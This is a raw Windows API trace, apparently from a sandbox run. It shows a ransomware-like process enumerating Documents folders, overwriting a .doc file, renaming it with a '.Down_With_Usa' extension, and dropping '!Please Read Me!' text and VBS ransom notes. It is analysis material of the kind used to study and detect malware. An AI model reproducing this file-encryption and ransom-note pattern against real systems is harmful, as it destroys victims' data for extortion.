[0120.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0120.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb000) returned 1
[0120.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", nBufferLength=0x105, lpBuffer=0x2eaaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", lpFilePart=0x0) returned 0x54
[0120.268] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\", nBufferLength=0x105, lpBuffer=0x2eaa90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\", lpFilePart=0x0) returned 0x55
[0120.268] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\*", lpFindFileData=0x2eaca0 | out: lpFindFileData=0x2eaca0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0120.268] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11749d90, ftCreationTime.dwHighDateTime=0x1d5de9b, ftLastAccessTime.dwLowDateTime=0x156a1a70, ftLastAccessTime.dwHighDateTime=0x1d5df3a, ftLastWriteTime.dwLowDateTime=0x156a1a70, ftLastWriteTime.dwHighDateTime=0x1d5df3a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.268] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd92cc0, ftCreationTime.dwHighDateTime=0x1d5e208, ftLastAccessTime.dwLowDateTime=0x7b5bb70, ftLastAccessTime.dwHighDateTime=0x1d5d8ad, ftLastWriteTime.dwLowDateTime=0x7b5bb70, ftLastWriteTime.dwHighDateTime=0x1d5d8ad, nFileSizeHigh=0x0, nFileSizeLow=0x846c, dwReserved0=0x0, dwReserved1=0x0, cFileName="in3l3Sp98M5nUhY.doc", cAlternateFileName="IN3L3S~1.DOC")) returned 1
[0120.268] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd92cc0, ftCreationTime.dwHighDateTime=0x1d5e208, ftLastAccessTime.dwLowDateTime=0x7b5bb70, ftLastAccessTime.dwHighDateTime=0x1d5d8ad, ftLastWriteTime.dwLowDateTime=0x7b5bb70, ftLastWriteTime.dwHighDateTime=0x1d5d8ad, nFileSizeHigh=0x0, nFileSizeLow=0x846c, dwReserved0=0x0, dwReserved1=0x0, cFileName="in3l3Sp98M5nUhY.doc", cAlternateFileName="IN3L3S~1.DOC")) returned 0
[0120.268] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0120.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0120.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0120.269] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", lpFilePart=0x0) returned 0x68
[0120.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0120.269] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\in3l3sp98m5nuhy.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0120.269] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x846c
[0120.269] ReadFile (in: hFile=0x3a8, lpBuffer=0x2602778, nNumberOfBytesToRead=0x846c, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x2602778*, lpNumberOfBytesRead=0x2eadd8*=0x846c, lpOverlapped=0x0) returned 1
[0120.308] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", lpFilePart=0x0) returned 0x68
[0120.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0120.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\in3l3sp98m5nuhy.doc"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0120.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0120.312] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc", lpFilePart=0x0) returned 0x68
[0120.313] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc.Down_With_Usa", lpFilePart=0x0) returned 0x76
[0120.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0120.313] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\in3l3sp98m5nuhy.doc"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd92cc0, ftCreationTime.dwHighDateTime=0x1d5e208, ftLastAccessTime.dwLowDateTime=0x7b5bb70, ftLastAccessTime.dwHighDateTime=0x1d5d8ad, ftLastWriteTime.dwLowDateTime=0x242a4bc0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x8470)) returned 1
[0120.313] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0120.313] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\in3l3sp98m5nuhy.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\in3l3Sp98M5nUhY.doc.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\in3l3sp98m5nuhy.doc.down_with_usa")) returned 1
[0120.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x77
[0120.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", lpFilePart=0x0) returned 0x54
[0120.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
[0120.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", nBufferLength=0x105, lpBuffer=0x2eae50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3", lpFilePart=0x0) returned 0x54
[0120.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x77
[0120.314] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eadf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.315] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb000 | out: lpFindFileData=0x2eb000*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb2b0) returned 1
[0120.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb270) returned 1
[0120.322] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eabb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x69
[0120.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb090) returned 1
[0120.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.323] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb000) returned 1
[0120.324] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2ead50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x69
[0120.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb230) returned 1
[0120.324] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\WoU9HuR3\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\wou9hur3\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb1a0) returned 1
[0120.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0120.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", nBufferLength=0x105, lpBuffer=0x2eb480, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", lpFilePart=0x0) returned 0x4b
[0120.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb8e0) returned 1
[0120.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", nBufferLength=0x105, lpBuffer=0x2eb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6", lpFilePart=0x0) returned 0x4b
[0120.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6e
[0120.330] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.330] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2eb580 | out: lpFindFileData=0x2eb580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb830) returned 1
[0120.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb7f0) returned 1
[0120.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x60
[0120.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb610) returned 1
[0120.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb580) returned 1
[0120.340] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x60
[0120.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb7b0) returned 1
[0120.340] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\lX_ai0Tv5NI-wv6\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\lx_ai0tv5ni-wv6\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb720) returned 1
[0120.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb9f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5e
[0120.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", nBufferLength=0x105, lpBuffer=0x2eba00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", lpFilePart=0x0) returned 0x3b
[0120.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebe60) returned 1
[0120.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", nBufferLength=0x105, lpBuffer=0x2eb950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d", lpFilePart=0x0) returned 0x3b
[0120.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x5e
[0120.342] GetFullPathNameW (in: lpFileName="!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eb8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0120.342] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt.Down_With_Usa", lpFindFileData=0x2ebb00 | out: lpFindFileData=0x2ebb00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
[0120.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebdb0) returned 1
[0120.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd70) returned 1
[0120.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt", nBufferLength=0x105, lpBuffer=0x2eb6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt", lpFilePart=0x0) returned 0x50
[0120.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb90) returned 1
[0120.349] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\!please read me!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.349] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebb00) returned 1
[0120.351] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.vbs", nBufferLength=0x105, lpBuffer=0x2eb850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.vbs", lpFilePart=0x0) returned 0x50
[0120.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebd30) returned 1
[0120.351] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-7ZVeclo4chRuWb-m d\\!Please Read Me!.vbs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-7zveclo4chruwb-m d\\!please read me!.vbs"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3a8
[0120.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebca0) returned 1
[0120.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0120.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB", lpFilePart=0x0) returned 0x34
[0120.354] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\", lpFilePart=0x0) returned 0x35
[0120.354] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\5ehfu7t1E3TB\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd59392e0, ftCreationTime.dwHighDateTime=0x1d5dc15, ftLastAccessTime.dwLowDateTime=0x370a0080, ftLastAccessTime.dwHighDateTime=0x1d5e667, ftLastWriteTime.dwLowDateTime=0x370a0080, ftLastWriteTime.dwHighDateTime=0x1d5e667, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
